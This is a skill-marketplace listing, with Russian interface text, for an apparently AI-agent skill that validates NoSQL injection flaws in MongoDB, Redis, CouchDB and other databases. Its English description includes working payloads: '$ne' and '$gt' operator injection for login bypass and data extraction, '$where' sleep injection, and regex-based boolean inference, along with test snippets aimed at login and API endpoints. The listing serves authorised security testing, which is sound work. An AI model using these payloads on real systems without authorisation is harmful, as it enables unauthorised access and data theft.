nosql-injection-testing
БесплатноЗапускает вложенные скриптыНе проверенValidate NoSQL injection vulnerabilities across MongoDB, Cassandra, CouchDB, Redis, and other NoSQL databases. Test operator injection, JavaScript injection…
от anshumanbh★ 287 звёзд на GitHubОб этом скилле
NoSQL Injection Testing Skill
Purpose
Validate NoSQL injection vulnerabilities by injecting special operators, JavaScript code, or malformed queries into user-controlled inputs and observing:
- Authentication bypass via operator injection (
$ne,$gt,$regex) - Data exfiltration via query manipulation
- JavaScript execution in databases supporting server-side JS (
$where,mapReduce) - Boolean-based inference by comparing response differences
- Time-based inference via heavy operations or sleep-like constructs
Vulnerability Types Covered
1. Operator Injection (CWE-943)
Inject MongoDB query operators to manipulate query logic.
Detection Methods:
{"$ne": ""}— not equal empty, bypasses equality checks{"$gt": ""}— greater than empty, returns all matching documents{"$regex": ".*"}— regex wildcard match{"$or": [...]}— logical OR injection
Example Attack:
// Normal: {"username": "admin", "password": "secret"}
// Attack: {"username": "admin", "password": {"$ne": ""}}
// Effect: Returns admin user regardless of password
2. JavaScript Injection (CWE-943)
Inject JavaScript in databases supporting server-side execution.
Detection Methods:
$whereclause injection:{"$where": "this.password.length > 0"}mapReducefunction injection$functionaggregation operator (MongoDB 4.4+)
Example Attack:
// Payload: {"$where": "sleep(5000) || true"}
// Effect: 5-second delay if JS execution enabled
3. Array/Object Injection (CWE-943)
Exploit type confusion when arrays or objects are passed where strings expected.
Detection Methods:
username[$ne]=via query string (Express.js extended query parser)- Array index manipulation:
items[0]=malicious
4. Aggregation Pipeline Injection (CWE-943)
Inject into MongoDB aggregation pipelines.
Detection Methods:
$lookupinjection for cross-collection access$outor$mergefor write operations$groupmanipulation for data extraction
Database-Specific Notes
| Database | Operator Injection | JS Injection | Boolean-Based | Time-Based |
|---|---|---|---|---|
| MongoDB | ✓ ($ne, $gt, $regex, $or) |
✓ ($where, mapReduce) |
✓ | ✓ (via $where sleep or heavy ops) |
| CouchDB | ✓ (view manipulation) | ✓ (design doc JS) | ✓ | Limited |
| Cassandra | Limited (CQL injection) | No | ✓ | Limited |
| Redis | Command injection patterns | Lua script injection | ✓ | ✓ (DEBUG SLEEP) |
| Elasticsearch | ✓ (query DSL manipulation) | ✓ (scripting if enabled) | ✓ | ✓ (script-based) |
| DynamoDB | Condition expression injection | No | ✓ | No |
Prerequisites
- Target reachable; NoSQL-backed functionality identified (API endpoints, forms, JSON bodies)
- Know (or infer) database type to select appropriate payloads
- If authentication required: test accounts available or mark paths UNVALIDATED
- VULNERABILITIES.json with suspected NoSQLi findings if provided
Testing Methodology
Phase 1: Identify Injection Points
- JSON POST bodies (most common for NoSQL APIs)
- URL query parameters (especially with extended query parsers)
- HTTP headers (authorization tokens, custom headers)
- Path parameters
Key Insight: NoSQL APIs typically accept JSON; look for object/array inputs where operators can be injected.
Phase 2: Establish Baseline
- Send a normal request; record status, content, and response time
- Note authentication/authorization behavior
- Identify error message patterns
Phase 3: Execute NoSQL Injection Tests
Operator Injection (Authentication Bypass):
# Baseline
baseline = post("/login", json={"username": "admin", "password": "wrong"})
# Expected: 401 Unauthorized
# Test with $ne operator
test = post("/login", json={"username": "admin", "password": {"$ne": ""}})
# If 200 OK: VALIDATED - operator injection bypassed auth
Operator Injection (Data Extraction):
# Baseline
baseline = get("/api/users?role=user")
# Expected: Returns only users with role="user"
# Test with $gt operator
test = get("/api/users?role[$gt]=")
# If returns more users: VALIDATED - operator injection expanded query
Boolean-Based Inference:
# True condition
true_resp = post("/api/search", json={"name": {"$regex": "^a"}})
# False condition
false_resp = post("/api/search", json={"name": {"$regex": "^zzzzz"}})
# Compare response lengths/content
if len(true_resp.text) != len(false_resp.text):
status = "VALIDATED"
JavaScript Injection (if enabled):
# Time-based test
baseline_time = measure(post("/api/query", json={"filter": "normal"}))
test_time = measure(post("/api/query", json={"$where": "sleep(5000) || true"}))
if test_time > baseline_time + 4.5:
status = "VALIDATED"
Phase 4: Classification Logic
| Status | Meaning |
|---|---|
| VALIDATED | Clear NoSQLi indicators (auth bypass, data leak, JS |
Установить nosql-injection-testing в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
ReadWriteBashВложенные файлы
FAQ
Что делает скилл nosql-injection-testing?
Validate NoSQL injection vulnerabilities across MongoDB, Cassandra, CouchDB, Redis, and other NoSQL databases. Test operator injection, JavaScript injection, and query manipulation patterns. Use when testing CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) and related NoSQL injection classes.
Как установить скилл nosql-injection-testing?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл nosql-injection-testing запускает скрипты?
Да, скилл несёт исполняемые скрипты. Проверь исходник перед установкой.
Похожие скиллы
skill-creator
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an…
от Anthropicdiscernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals…
от Anthropicdata-consolidate
Joins the plant's scheduled exports and connector data into one working dataset — ERP items (NetSuite or Infor M3), sales orders, production work orders…
от Anthropicinspection-to-capa
Runs the quality chain end to end: writes the nonconformance against the requirement it violates, searches history at the moment of writing to say whether…
от Anthropic